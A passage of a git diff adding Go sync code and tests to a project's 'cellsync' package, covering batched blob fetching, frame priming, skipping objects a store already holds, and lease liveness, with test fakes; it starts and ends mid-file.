+ f.progress(have, known) + } +} + +// round gets every wanted rid and imports them. An import that takes nothing +// would repeat forever, so it is an error. +func (f *Fetcher) round(ctx context.Context, c cell.Cell, head, inbox string, want []string) (int, error) { + if err := f.gather(ctx, inbox, want); err != nil { + return 0, err + } + n, err := f.Engine.Import(ctx, c, head, inbox) + if err == nil && n == 0 { + err = errors.New("cellsync: import took none of the wanted objects") + } + return n, err +} + +// gather brings every wanted object into the inbox, a frame's worth per request: +// the store answers a prefix of what is asked, and the rest is asked again. An +// object the store does not hold is an error that names it. +func (f *Fetcher) gather(ctx context.Context, inbox string, want []string) error { + for len(want) > 0 { + batch := want[:min(len(want), blobstore.MaxGetMany)] + objects, err := f.Store.GetMany(ctx, batch) + if err != nil { + return fmt.Errorf("cellsync: fetch object %s: %w", batch[0], err) + } + if len(objects) == 0 { + return fmt.Errorf("cellsync: the store answered no object for %s", batch[0]) + } + if err := keep(inbox, objects); err != nil { + return err + } + want = want[len(objects):] + } + return nil +} + +// prime reads the plan the record holds for the cell and fetches the frames +// it names, then runs one ImportPrimed over what they carried (contract §22.5). +// It is an optimisation only: a record that names no frames, a frame that is +// absent or undecodable, a store that cannot be asked, and even an import +// that refuses what priming delivered all degrade into the want loop, which +// is the completeness proof of every take. Only a local failure — the inbox — +// is an error. A refusing import is a degrade, not an error, because the loop +// fetches objects by rid through the index and may be served from a frame +// priming never named; the files priming wrote are removed first, so the +// strict import of the loop never sees them. +func (f *Fetcher) prime(ctx context.Context, c cell.Cell, head, inbox string) error { + if f.Dir == nil { + return nil // no directory, no plan: exactly today's want loop + } + if err := os.MkdirAll(inbox, 0o700); err != nil { + return err + } + defer os.RemoveAll(inbox) + // A device that already exchanged objects with this relay holds most of the + // chat: the plan names its whole upload history, so priming it would + // download what it has to learn about a one-file change. The want loop + // fetches a warm take's delta by rid. + if f.Engine.Holds(c) { + return nil + } + // A device that already holds the head wants nothing, and needs no frames. + want, err := f.Engine.Want(ctx, c, head) + if err != nil || len(want) == 0 { + return nil + } + view, err := f.Dir.Cell(ctx, c.ID) + if err != nil || len(view.Cell.Frames) == 0 { + return nil + } + lap := startOverlap(ctx, f.Engine, c, head, inbox) + err = f.fetchFrames(ctx, inbox, view.Cell.Frames, lap.landed) + lap.finish() + if err != nil { + return err + } + if _, err := f.Engine.ImportPrimed(ctx, c, head, inbox); err != nil { + clearInbox(inbox) + return nil + } + return nil +} + +// clearInbox removes what priming left in it: the loop's own import refuses +// files no survey wanted, and a degraded priming must not poison it. +func clearInbox(inbox string) { + entries, err := os.ReadDir(inbox) + if err != nil { + return + } + for _, e := range entries { + _ = os.Remove(filepath.Join(inbox, e.Name())) + } +} + +// fetchFrames writes the objects of every frame the store holds to the inbox, +// FetchWindow fetches in flight at once. A frame the store does not hold, or +// one that fails Decode, is skipped: the want loop asks for what it carried. +// Downloads race each other but writes go through sink: two frames can carry +// the same object, and one rid is written once, by one goroutine. +func (f *Fetcher) fetchFrames(ctx context.Context, inbox string, frames []string, landed func()) error { + sink := &frameSink{written: map[string]bool{}} + window := make(chan struct{}, FetchWindow) + var wg sync.WaitGroup + for _, id := range frames { + if sink.failed() { + break // the inbox already refused a write; the rest is wasted work + } + select { + case window <- struct{}{}: + case <-ctx.Done(): + wg.Wait() + return ctx.Err() + } + wg.Add(1) + go func() { + defer wg.Done() + defer func() { <-window }() + frame, err := f.Store.GetFrame(ctx, id) + if err != nil { + return + } + _, objects, err := blobstore.Decode(frame) + if err != nil { + return + } + sink.keep(inbox, objects) + landed() + }() + } + wg.Wait() + return sink.err +} + +// frameSink serializes priming writes: one rid lands once, and the first local +// failure is kept for the caller. +type frameSink struct { + mu sync.Mutex + written map[string]bool + err error +} + +func (s *frameSink) keep(inbox string, objects []blobstore.Object) { + s.mu.Lock() + defer s.mu.Unlock() + if s.err != nil { + return + } + for _, o := range objects { + if s.written[o.RID] { + continue + } + if err := writeWhole(inbox, o); err != nil { + s.err = err + return + } + s.written[o.RID] = true + } +} + +// writeWhole puts an object in the inbox under its rid only once every byte is +// there: a partial import may list the inbox while frames still land, and it +// skips dot names, so the file is written under one and renamed. +func writeWhole(inbox string, o blobstore.Object) error { + tmp := filepath.Join(inbox, "."+o.RID) + if err := os.WriteFile(tmp, o.Bytes, 0o600); err != nil { + return err + } + return os.Rename(tmp, filepath.Join(inbox, o.RID)) +} + +// failed reports whether a write has already been refused, so the spawn +// loop can stop asking for frames the inbox can no longer take. +func (s *frameSink) failed() bool { + s.mu.Lock() + defer s.mu.Unlock() + return s.err != nil +} + +// keep writes each object to the inbox under its remote id, the name Import reads it by. +func keep(inbox string, objects []blobstore.Object) error { + for _, o := range objects { + if err := os.WriteFile(filepath.Join(inbox, o.RID), o.Bytes, 0o600); err != nil { + return err + } + } + return nil +} + +func (f *Fetcher) progress(have, want int) { + if f.OnProgress != nil { + f.OnProgress(have, want) + } +} diff --git a/internal/cellsync/fetch_test.go b/internal/cellsync/fetch_test.go new file mode 100644 index 0000000000..2a1f37bd5e --- /dev/null +++ b/internal/cellsync/fetch_test.go @@ -0,0 +1,113 @@ +package cellsync + +import ( + "context" + "errors" + "fmt" + "path/filepath" + "reflect" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" +) + +// fetcherFor is a second device's fetcher over store, with its own engine. +func fetcherFor(t *testing.T, store blobstore.Store) (*Fetcher, cell.Cell) { + t.Helper() + c := cell.Cell{ID: cellID, Root: t.TempDir()} + inbox := t.TempDir() + return &Fetcher{ + Engine: NewFakeEngine(t.TempDir()), + Store: store, + Inbox: func(c cell.Cell) string { return filepath.Join(inbox, c.ID) }, + }, c +} + +func TestFetchMaterializesHead(t *testing.T) { + r := newRig(t) + r.publishFirst(map[string]string{"a": "one"}) + head := r.seal(map[string]string{"a": "one", "sub/b": "two"}) + if err := r.pub.Publish(context.Background(), r.drv, head, r.info()); err != nil { + t.Fatal(err) + } + f, c := fetcherFor(t, r.mem) + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + want := map[string]string{"a": "one", "sub/b": "two"} + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, want) { + t.Fatalf("materialized %v, want %v", got, want) + } +} + +func TestFetchNamesMissingRid(t *testing.T) { + r := newRig(t) + head := r.publishFirst(map[string]string{"a": "one"}) + f, c := fetcherFor(t, blobstore.NewMemory()) // a store that never got the objects + err := f.Fetch(context.Background(), c, head) + if !errors.Is(err, blobstore.ErrNotFound) || !strings.Contains(err.Error(), head) { + t.Fatalf("fetch = %v, want ErrNotFound naming %s", err, head) + } +} + +func TestFetchReportsProgress(t *testing.T) { + r := newRig(t) + r.publishFirst(map[string]string{"a": "one"}) + head := r.seal(map[string]string{"a": "one", "b": "two"}) + if err := r.pub.Publish(context.Background(), r.drv, head, r.info()); err != nil { + t.Fatal(err) + } + f, c := fetcherFor(t, r.mem) + var have, want []int + f.OnProgress = func(h, w int) { have, want = append(have, h), append(want, w) } + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + if len(have) < 2 { + t.Fatalf("expected one report per round, got %v of %v", have, want) + } + for i := 1; i < len(have); i++ { + if have[i] <= have[i-1] || want[i] < want[i-1] { + t.Fatalf("progress went backwards: have %v want %v", have, want) + } + } + if last := len(have) - 1; have[last] != want[last] { + t.Fatalf("finished with %d of %d", have[last], want[last]) + } +} + +// A takeover asks the store once per frame's worth of objects, not once per +// object: three hundred small files are a handful of requests. +func TestFetchAsksOncePerBatchNotOncePerObject(t *testing.T) { + r := newRig(t) + files := map[string]string{} + for i := range 300 { + files[fmt.Sprintf("f%03d", i)] = fmt.Sprint("body ", i) + } + head := r.publishFirst(files) + f, c := fetcherFor(t, r.mem) + before := gets(r.mem) + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + objects := 301 // a blob for each file, and the snapshot + if got, most := gets(r.mem)-before, 2*(objects/blobstore.MaxGetMany+2); got > most { + t.Fatalf("%d store requests for %d objects, want at most %d", got, objects, most) + } + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, files) { + t.Fatalf("materialized %d files, want %d", len(got), len(files)) + } +} + +// gets counts the get requests a Memory store has answered. +func gets(m *blobstore.Memory) int { + n := 0 + for _, op := range m.Log() { + if op.Kind == "get" { + n++ + } + } + return n +} diff --git a/internal/cellsync/held.go b/internal/cellsync/held.go new file mode 100644 index 0000000000..f7dc84df14 --- /dev/null +++ b/internal/cellsync/held.go @@ -0,0 +1,176 @@ +package cellsync + +import ( + "context" + "os" + "path/filepath" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" +) + +// askFloor is the smallest export worth a question. Asking costs one request +// and about seventy bytes an object, so it only pays when what would be sent +// is large; an ordinary turn sends less than this and is never asked about. +// A device whose ledger lacks a whole chat (it followed a rotation, pointed at +// a relay that already holds the chat, or lost its ledger) sends far more. +const askFloor = 64 << 10 + +// skipHeld removes from ex every object the store already holds, and records +// those objects as published so no later export offers them again. The ledger +// only knows what this device sent or took, so on a store it never published to +// every object looks unsent and the whole chat would cross the wire again even +// though the store dedups it. Asking is an optimisation: when the question +// fails the export is returned whole, and the puts that follow report the real +// error. +func (p *Publisher) skipHeld(ctx context.Context, c cell.Cell, ex Export) Export { + if ex.Bytes < askFloor { + return ex + } + held, err := p.holdings(ctx, ex.Frames) + if err != nil || len(held) == 0 { + return ex + } + out, err := p.sieve(ctx, c, ex.Frames, held) + if err != nil { + return ex + } + out.HeadRID = ex.HeadRID + return out +} + +// holdings asks the store, MaxHas ids to a request, which of the objects the +// frames carry it already holds. +func (p *Publisher) holdings(ctx context.Context, frames []FrameFile) (map[string]bool, error) { + var rids []string + for _, f := range frames { + got, err := ridsIn(f.Path) + if err != nil { + return nil, err + } + rids = append(rids, got...) + } + held := map[string]bool{} + for len(rids) > 0 { + n := min(blobstore.MaxHas, len(rids)) + have, err := p.Store.Has(ctx, rids[:n]) + if err != nil { + return nil, err + } + for i, h := range have { + held[rids[i]] = h + } + rids = rids[n:] + } + return held, nil +} + +func ridsIn(path string) ([]string, error) { + frame, err := os.ReadFile(path) + if err != nil { + return nil, err + } + h, _, err := blobstore.Decode(frame) + if err != nil { + return nil, err + } + rids := make([]string, len(h.Objects)) + for i, o := range h.Objects { + rids[i] = o.RID + } + return rids, nil +} + +// sieve rewrites each frame into the part the store lacks, which is still to be +// sent, and the part it holds, which is recorded at once. A frame with nothing +// held is left alone. The ledger is written only for objects the store answered +// for, so a wrong record is impossible and a lost one only costs bytes. +func (p *Publisher) sieve(ctx context.Context, c cell.Cell, frames []FrameFile, held map[string]bool) (Export, error) { + var out Export + var have, replaced []string + for _, f := range frames { + rest, kept, err := divide(f, held) + if err != nil { + return Export{}, err + } + have = append(have, kept...) + if rest.Path != f.Path { + replaced = append(replaced, f.Path) + } + if rest.Objects > 0 { + out.Frames = append(out.Frames, rest) + out.Objects += rest.Objects + out.Bytes += rest.Bytes + } + } + if err := p.Engine.Published(ctx, c, have); err != nil { + return Export{}, err + } + return out, removeAll(replaced) +} + +// divide splits one frame file by whether the store holds each object. It +// answers the file still to send and, when something was held, the file of the +// held objects to record. Both files are named by content beside the original, +// which the caller removes once the record is made, so a repeat after a crash writes the same files. +func divide(f FrameFile, held map[string]bool) (rest FrameFile, kept []string, err error) { + frame, err := os.ReadFile(f.Path) + if err != nil { + return FrameFile{}, nil, err + } + h, objects, err := blobstore.Decode(frame) + if err != nil { + return FrameFile{}, nil, err + } + have, lack := byHolding(objects, held) + if len(have) == 0 { + return f, nil, nil + } + record, err := writeBeside(f.Path, h.CellKeyID, have) + if err != nil { + return FrameFile{}, nil, err + } + if len(lack) > 0 { + if rest, err = writeBeside(f.Path, h.CellKeyID, lack); err != nil { + return FrameFile{}, nil, err + } + } + return rest, []string{record.Path}, nil +} + +// byHolding partitions objects into those the store holds and those it lacks. +func byHolding(objects []blobstore.Object, held map[string]bool) (have, lack []blobstore.Object) { + for _, o := range objects { + if held[o.RID] { + have = append(have, o) + } else { + lack = append(lack, o) + } + } + return have, lack +} + +// writeBeside encodes objects as a frame file next to path, named by the +// frame's own id like every frame the engine writes. +func writeBeside(path, keyID string, objects []blobstore.Object) (FrameFile, error) { + frame, err := blobstore.Encode(keyID, objects) + if err != nil { + return FrameFile{}, err + } + out := filepath.Join(filepath.Dir(path), blobstore.IDOf(frame)+filepath.Ext(path)) + if err := os.WriteFile(out, frame, 0o600); err != nil { + return FrameFile{}, err + } + return FrameFile{Path: out, Objects: len(objects), Bytes: int64(len(frame))}, nil +} + +// removeAll deletes the originals a split replaced. They are deleted only after +// the held parts are recorded, so a failure earlier leaves the export whole. +func removeAll(paths []string) error { + for _, path := range paths { + if err := os.Remove(path); err != nil { + return err + } + } + return nil +} diff --git a/internal/cellsync/held_real_test.go b/internal/cellsync/held_real_test.go new file mode 100644 index 0000000000..aab8c81fd5 --- /dev/null +++ b/internal/cellsync/held_real_test.go @@ -0,0 +1,81 @@ +//go:build engine + +package cellsync + +import ( + "context" + "crypto/rand" + "os" + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/furrow" +) + +// TestAFreshLedgerSendsOnlyTheTurnRealEngine is the same rule on the real +// engine, whose frames the Rust side must accept after the split: the store +// holds a 1 MiB chat another ledger published, a second ledger publishes one +// small turn on top, and only the turn crosses the wire. +func TestAFreshLedgerSendsOnlyTheTurnRealEngine(t *testing.T) { + bin, err := furrow.ResolveOwned() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + ctx := context.Background() + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + local := cellstore.Engine{Binary: bin, DataRoot: t.TempDir(), Transport: cellstore.Spawn{Binary: bin}} + engineFor := func(name string) cellstore.SyncEngine { + return cellstore.SyncEngine{ + Transport: cellstore.Spawn{Binary: bin}, + Keys: cellstore.SyncKeys{CellKey: make([]byte, 32), Dedup: make([]byte, 32)}, + Ledger: cellstore.LedgerName("http://relay-"+name, "id_test"), + Target: func(c2 cell.Cell) cellstore.Target { + return cellstore.Target{DataDir: local.LocalDir(c2), Tree: c2.Root} + }, + Outbox: func(cell.Cell) string { return t.TempDir() }, + } + } + chat := make([]byte, 1<<20) + _, _ = rand.Read(chat) + if err := os.WriteFile(filepath.Join(c.Root, "chat"), chat, 0o600); err != nil { + t.Fatal(err) + } + first, err := local.Seal(ctx, c, cellstore.TurnInfo{}) + if err != nil { + t.Fatal(err) + } + mem := blobstore.NewMemory() + if _, err := (&Publisher{Engine: engineFor("a"), Store: mem}).Upload(ctx, c, first.Turn.ID); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(c.Root, "turn"), []byte("one small turn"), 0o600); err != nil { + t.Fatal(err) + } + second, err := local.Seal(ctx, c, cellstore.TurnInfo{}) + if err != nil { + t.Fatal(err) + } + + counters := &blobstore.Counters{} + fresh := engineFor("b") + whole, err := fresh.Export(ctx, c, second.Turn.ID) + if err != nil { + t.Fatal(err) + } + if _, err := (&Publisher{Engine: fresh, Store: blobstore.Counting{Inner: mem, C: counters}}).Upload(ctx, c, second.Turn.ID); err != nil { + t.Fatal(err) + } + t.Logf("bytes sent: %d before, %d after", whole.Bytes, counters.BytesUp.Load()) + if got := counters.BytesUp.Load(); got > askFloor { + t.Fatalf("a fresh ledger sent %d bytes for a small turn", got) + } + if again, err := fresh.Export(ctx, c, second.Turn.ID); err != nil || again.Objects != 0 { + t.Fatalf("the ledger still lacks %d objects (%v)", again.Objects, err) + } +} diff --git a/internal/cellsync/held_test.go b/internal/cellsync/held_test.go new file mode 100644 index 0000000000..5c5c6223c4 --- /dev/null +++ b/internal/cellsync/held_test.go @@ -0,0 +1,47 @@ +package cellsync + +import ( + "context" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" +) + +// TestAFreshLedgerDoesNotResendWhatTheStoreHolds is the rotation case in its +// general form: a device that never published to a store, and so has an empty +// ledger for it, publishes a small turn on top of a chat the store already +// holds. Only the turn may cross the wire, and the held objects must be +// recorded so the turn after it does not ask again. +func TestAFreshLedgerDoesNotResendWhatTheStoreHolds(t *testing.T) { + ctx := context.Background() + r := newRig(t) + chat := map[string]string{"chat": strings.Repeat("a long conversation ", 1<<16)} // about 1.25 MiB + r.publishFirst(chat) + + counters := &blobstore.Counters{} + c := cell.Cell{ID: cellID, Root: t.TempDir()} + eng := NewFakeEngine(t.TempDir()) + pub := &Publisher{Engine: eng, Store: blobstore.Counting{Inner: r.mem, C: counters}} + eng.Seal(c, chat) + turn := map[string]string{"chat": chat["chat"], "turn": "one small turn"} + head := eng.Seal(c, turn) + + whole, err := eng.Ledger(t.TempDir()).Export(ctx, c, head) + if err != nil { + t.Fatal(err) + } + ex, err := pub.Upload(ctx, c, head) + if err != nil { + t.Fatal(err) + } + t.Logf("bytes sent: %d before, %d after; has requests %d", whole.Bytes, counters.BytesUp.Load(), counters.Has.Load()) + if got := counters.BytesUp.Load(); got > askFloor || got != ex.Bytes { + t.Fatalf("a fresh ledger sent %d bytes for a small turn (reported %d)", got, ex.Bytes) + } + again, err := eng.Export(ctx, c, head) + if err != nil || again.Objects != 0 { + t.Fatalf("after the publish the ledger still lacks %d objects (%v)", again.Objects, err) + } +} diff --git a/internal/cellsync/helpers_test.go b/internal/cellsync/helpers_test.go new file mode 100644 index 0000000000..c349859877 --- /dev/null +++ b/internal/cellsync/helpers_test.go @@ -0,0 +1,334 @@ +package cellsync + +import ( + "context" + "fmt" + "os" + "path/filepath" + "slices" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" +) + +const ( + devA = "dev_a" + devB = "dev_b" + cellID = "01J0000000000000000000000A" + // otherHead is a head device B writes directly, standing in for its work. + otherHead = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" +) + +// rig is device A of one identity plus the shared store and directory. +type rig struct { + t *testing.T + clock *directorytest.FakeClock + dir *directory.Memory + mem *blobstore.Memory + store *flakyStore + dirA *faultDir + engA *FakeEngine + cellA cell.Cell + drv *Driving + pub *Publisher + branch *BranchMap + ids int +} + +func newRig(t *testing.T) *rig { + t.Helper() + clock := directorytest.NewFakeClock() + dir := directory.NewMemory(clock.Now) + mem := blobstore.NewMemory() + r := &rig{ + t: t, clock: clock, dir: dir, mem: mem, + store: &flakyStore{Store: mem}, + dirA: &faultDir{Client: dir.For(devA)}, + engA: NewFakeEngine(t.TempDir()), + cellA: cell.Cell{ID: cellID, Root: t.TempDir()}, + } + r.drv = &Driving{Cell: r.cellA} + r.pub = &Publisher{Engine: r.engA, Store: r.store, Dir: r.dirA} + r.branch = &BranchMap{path: filepath.Join(t.TempDir(), "branches.json"), m: map[string]string{}} + return r +} + +func (r *rig) seal(files map[string]string) string { return r.engA.Seal(r.cellA, files) } + +func (r *rig) newID() (string, error) { + r.ids++ + return fmt.Sprintf("branch-%d", r.ids), nil +} + +func (r *rig) info() PublishInfo { return PublishInfo{Class: "chat", Size: 7} } + +// batcher is device A's batcher over the rig, with a short interval. +func (r *rig) batcher() *Batcher { + return &Batcher{ + Publisher: r.pub, + Brancher: Brancher{Dir: r.dirA, Publisher: r.pub, NewID: r.newID, Map: r.branch}, + Driving: r.drv, + Interval: 5 * time.Second, + Info: r.info, + } +} + +// head reads the directory's view of a cell as device B would. +func (r *rig) head(id string) directory.Cell { + r.t.Helper() + v, err := r.dir.For(devB).Cell(context.Background(), id) + if err != nil { + r.t.Fatalf("cell %s: %v", id, err) + } + return v.Cell +} + +// publishFirst makes h the durable head of cellID. +func (r *rig) publishFirst(files map[string]string) string { + r.t.Helper() + h := r.seal(files) + if err := r.pub.Publish(context.Background(), r.drv, h, r.info()); err != nil { + r.t.Fatalf("first publish: %v", err) + } + return h +} + +// takeOver lets the lease lapse and makes device B hold it, as after a lid-close. +func (r *rig) takeOver() { + r.t.Helper() + r.clock.Advance(directory.LeaseTTL + time.Second) + if _, err := r.dir.For(devB).Acquire(context.Background(), cellID, directory.AcquireOpts{}); err != nil { + r.t.Fatalf("takeover: %v", err) + } +} + +// bPublishes writes device B's head, as its own driver would after takeover. +func (r *rig) bPublishes(old string) { + r.t.Helper() + _, err := r.dir.For(devB).Publish(context.Background(), cellID, directory.Publish{ + Fence: 2, OldHead: old, Head: otherHead, Class: "chat", + }) + if err != nil { + r.t.Fatalf("B publish: %v", err) + } +} + +func (r *rig) puts() int { + n := 0 + for _, op := range r.mem.Log() { + if op.Kind == "put" { + n++ + } + } + return n +} + +func note(b *Batcher, heads ...string) { + for _, h := range heads { + b.Note(cellstore.Turn{ID: h}) + } +} + +// flakyStore is a store that can fail, or run a hook, before each PutFrame. +type flakyStore struct { + blobstore.Store + mu sync.Mutex + err error + hook func(context.Context) +} + +func (s *flakyStore) set(err error, hook func(context.Context)) { + s.mu.Lock() + defer s.mu.Unlock() + s.err, s.hook = err, hook +} + +func (s *flakyStore) PutFrame(ctx context.Context, frame []byte) (blobstore.FrameID, error) { + s.mu.Lock() + err, hook := s.err, s.hook + s.mu.Unlock() + if hook != nil { + hook(ctx) + } + if err != nil { + return "", err + } + return s.Store.PutFrame(ctx, frame) +} + +// faultDir is a directory client that can be told to fail its writes. +type faultDir struct { + directory.Client + mu sync.Mutex + err error + beats atomic.Int32 // heartbeats attempted, for tests that count relay requests + // lose is how many creates are committed by the relay and then answered + // with a cancellation, as a drive closed mid-request sees them. + lose int +} + +func (d *faultDir) set(err error) { + d.mu.Lock() + defer d.mu.Unlock() + d.err = err +} + +func (d *faultDir) fault() error { + d.mu.Lock() + defer d.mu.Unlock() + return d.err +} + +func (d *faultDir) Create(ctx context.Context, id string, in directory.CellInit) (directory.CellView, error) { + if err := d.fault(); err != nil { + return directory.CellView{}, err + } + v, err := d.Client.Create(ctx, id, in) + d.mu.Lock() + defer d.mu.Unlock() + if err == nil && d.lose > 0 { + d.lose-- + return directory.CellView{}, context.Canceled + } + return v, err +} + +func (d *faultDir) Publish(ctx context.Context, id string, p directory.Publish) (directory.CellView, error) { + if err := d.fault(); err != nil { + return directory.CellView{}, err + } + return d.Client.Publish(ctx, id, p) +} + +func (d *faultDir) Heartbeat(ctx context.Context, id string, b directory.Beat) (directory.CellView, error) { + d.beats.Add(1) + if err := d.fault(); err != nil { + return directory.CellView{}, err + } + return d.Client.Heartbeat(ctx, id, b) +} + +func (d *faultDir) Release(ctx context.Context, id string, fence uint64) error { + if err := d.fault(); err != nil { + return err + } + return d.Client.Release(ctx, id, fence) +} + +// readFiles reads every file under root as path -> content. +func readFiles(t *testing.T, root string) map[string]string { + t.Helper() + out := map[string]string{} + err := filepath.WalkDir(root, func(p string, d os.DirEntry, err error) error { + if err != nil || d.IsDir() { + return err + } + raw, err := os.ReadFile(p) + rel, _ := filepath.Rel(root, p) + out[rel] = string(raw) + return err + }) + if err != nil { + t.Fatal(err) + } + return out +} + +// fakeSleeper is a clock for Run: sleeps end only when a test advances time. +type fakeSleeper struct { + clock *directorytest.FakeClock + mu sync.Mutex + changed *sync.Cond + now time.Duration + waiters []*sleeper + expired bool // settleOn ran out of patience +} + +type sleeper struct { + wake time.Duration + done chan struct{} +} + +func newFakeSleeper(clock *directorytest.FakeClock) *fakeSleeper { + s := &fakeSleeper{clock: clock} + s.changed = sync.NewCond(&s.mu) + return s +} + +func (s *fakeSleeper) Sleep(ctx context.Context, d time.Duration) error { + s.mu.Lock() + w := &sleeper{wake: s.now + d, done: make(chan struct{})} + s.waiters = append(s.waiters, w) + s.changed.Broadcast() + s.mu.Unlock() + select { + case <-w.done: + return nil + case <-ctx.Done(): + s.forget(w) + return ctx.Err() + } +} + +// forget drops a sleeper whose wait was cancelled, so settle counts live loops. +func (s *fakeSleeper) forget(w *sleeper) { + s.mu.Lock() + defer s.mu.Unlock() + s.waiters = slices.DeleteFunc(s.waiters, func(x *sleeper) bool { return x == w }) + s.changed.Broadcast() +} + +// advance moves both the directory's clock and the sleepers' time by d. +func (s *fakeSleeper) advance(d time.Duration) { + s.clock.Advance(d) + s.mu.Lock() + defer s.mu.Unlock() + s.now += d + kept := s.waiters[:0] + for _, w := range s.waiters { + if w.wake <= s.now { + close(w.done) + continue + } + kept = append(kept, w) + } + s.waiters = kept +} + +// settle waits until n loops are asleep again, that is, until the work the +// last advance woke has finished. +func (s *fakeSleeper) settle(n int) { + s.mu.Lock() + defer s.mu.Unlock() + for len(s.waiters) != n { + s.changed.Wait() + } +} + +// settleOn waits until some loop sleeps for exactly d from now: the loop has +// finished the work before that sleep. It gives up after a real second, so a +// loop that never gets there fails the test instead of hanging it. +func (s *fakeSleeper) settleOn(d time.Duration) { + giveUp := time.AfterFunc(time.Second, func() { + s.mu.Lock() + s.expired = true + s.mu.Unlock() + s.changed.Broadcast() + }) + defer giveUp.Stop() + s.mu.Lock() + defer s.mu.Unlock() + for !slices.ContainsFunc(s.waiters, func(w *sleeper) bool { return w.wake-s.now == d }) { + if s.expired { + panic(fmt.Sprintf("no loop went to sleep for %v", d)) + } + s.changed.Wait() + } +} diff --git a/internal/cellsync/liveness.go b/internal/cellsync/liveness.go new file mode 100644 index 0000000000..76f706fe16 --- /dev/null +++ b/internal/cellsync/liveness.go @@ -0,0 +1,86 @@ +package cellsync + +// Liveness is a watch socket that can vouch for the leases this process holds +// (STAGE-1-CONTRACTS.md §21.11). While it does, the relay counts the socket's +// pings as the holder's proof of life, so the Batcher need not heartbeat. +type Liveness interface { + // Keep names the lease of cell at fence on the socket and answers how to + // read whether it is vouched for. The socket dials again to name it. + Keep(cell string, fence uint64) Keeping +} + +// Keeping is one lease as the socket names it. +type Keeping interface { + // Healthy is true only while the relay is certain to be vouching: the + // socket is open, the relay said it vouches, the socket names this lease, + // and it showed a sign of life lately. Anything less, and the holder beats. + Healthy() bool + // Changes signals, without blocking, that Healthy may have changed. + Changes() <-chan struct{} + // Release stops naming the lease. + Release() +} + +// holding is the Batcher's current Keeping, re-made when the lease it names +// changes. Its zero value holds nothing and is never healthy. +type holding struct { + keeping Keeping + cell string + fence uint64 + vouched bool // the socket was healthy when last looked at +} + +// follow makes the socket name the lease the Batcher holds now: the cell and +// fence of the driving state, and nothing while the lease is lost or not yet +// taken, because there is nothing to vouch for. +func (h *holding) follow(l Liveness, view func() (Driving, uint32, bool)) { + if l == nil { + return + } + d, _, stale := view() + cell, fence := d.ID(), d.Fence + if stale || fence == 0 { + h.release() + return + } + if h.keeping != nil && h.cell == cell && h.fence == fence { + return + } + h.release() + h.keeping, h.cell, h.fence, h.vouched = l.Keep(cell, fence), cell, fence, false +} + +// covers says whether the lease needs no heartbeat now: the socket is healthy +// and the directory already knows how many turns are pending. +func (h *holding) covers(view func() (Driving, uint32, bool), told func(uint32) bool) bool { + h.vouched = h.keeping != nil && h.keeping.Healthy() + if !h.vouched { + return false + } + _, pending, _ := view() + return told(pending) +} + +// lapsed says whether the socket vouched when last looked at and no longer +// does. Only that is news to the lease: a socket that was never vouching and +// redials has changed nothing, and the tick already beats for it. +func (h *holding) lapsed() bool { + was := h.vouched + h.vouched = h.keeping != nil && h.keeping.Healthy() + return was && !h.vouched +} + +// changes is the channel the socket signals on, or nil, which never fires. +func (h *holding) changes() <-chan struct{} { + if h.keeping == nil { + return nil + } + return h.keeping.Changes() +} + +func (h *holding) release() { + if h.keeping != nil { + h.keeping.Release() + h.keeping = nil + } +} diff --git a/internal/cellsync/liveness_test.go b/internal/cellsync/liveness_test.go new file mode 100644 index 0000000000..8130355bec --- /dev/null +++ b/internal/cellsync/liveness_test.go @@ -0,0 +1,215 @@ +package cellsync + +import ( + "context" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// fakeLiveness is a watch socket the test opens and closes by hand. +type fakeLiveness struct { + mu sync.Mutex + kept []directory.Hold + sock *fakeKeeping + start bool // whether the socket is healthy from the first Keep +} + +type fakeKeeping struct { + healthy atomic.Bool + changes chan struct{} +} + +func newFakeLiveness(healthy bool) *fakeLiveness { + return &fakeLiveness{start: healthy, sock: &fakeKeeping{changes: make(chan struct{}, 1)}} +} + +func (l *fakeLiveness) Keep(cell string, fence uint64) Keeping { + l.mu.Lock() + defer l.mu.Unlock() + l.kept = append(l.kept, directory.Hold{Cell: cell, Fence: fence}) + l.sock.healthy.Store(l.start) + return l.sock +} + +// flip sets the socket's health and signals the change, as a feed does. +func (l *fakeLiveness) flip(healthy bool) { + l.sock.healthy.Store(healthy) + select { + case l.sock.changes <- struct{}{}: + default: + } +} + +func (k *fakeKeeping) Healthy() bool { return k.healthy.Load() } +func (k *fakeKeeping) Changes() <-chan struct{} { return k.changes } +func (k *fakeKeeping) Release() {} + +// heldRig is a rig whose batcher runs its heartbeat loop under a fake sleeper +// with l vouching, on a lease device A holds and has nothing pending on. +type heldRig struct { + *rig + b *Batcher + sl *fakeSleeper + stop func() +} + +func runHeld(t *testing.T, l Liveness) *heldRig { + t.Helper() + r := newRig(t) + b := r.batcher() + b.Liveness = l + sl := newFakeSleeper(r.clock) + b.Sleep = sl.Sleep + r.publishFirst(map[string]string{"a": "0"}) + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- b.Run(ctx) }() + 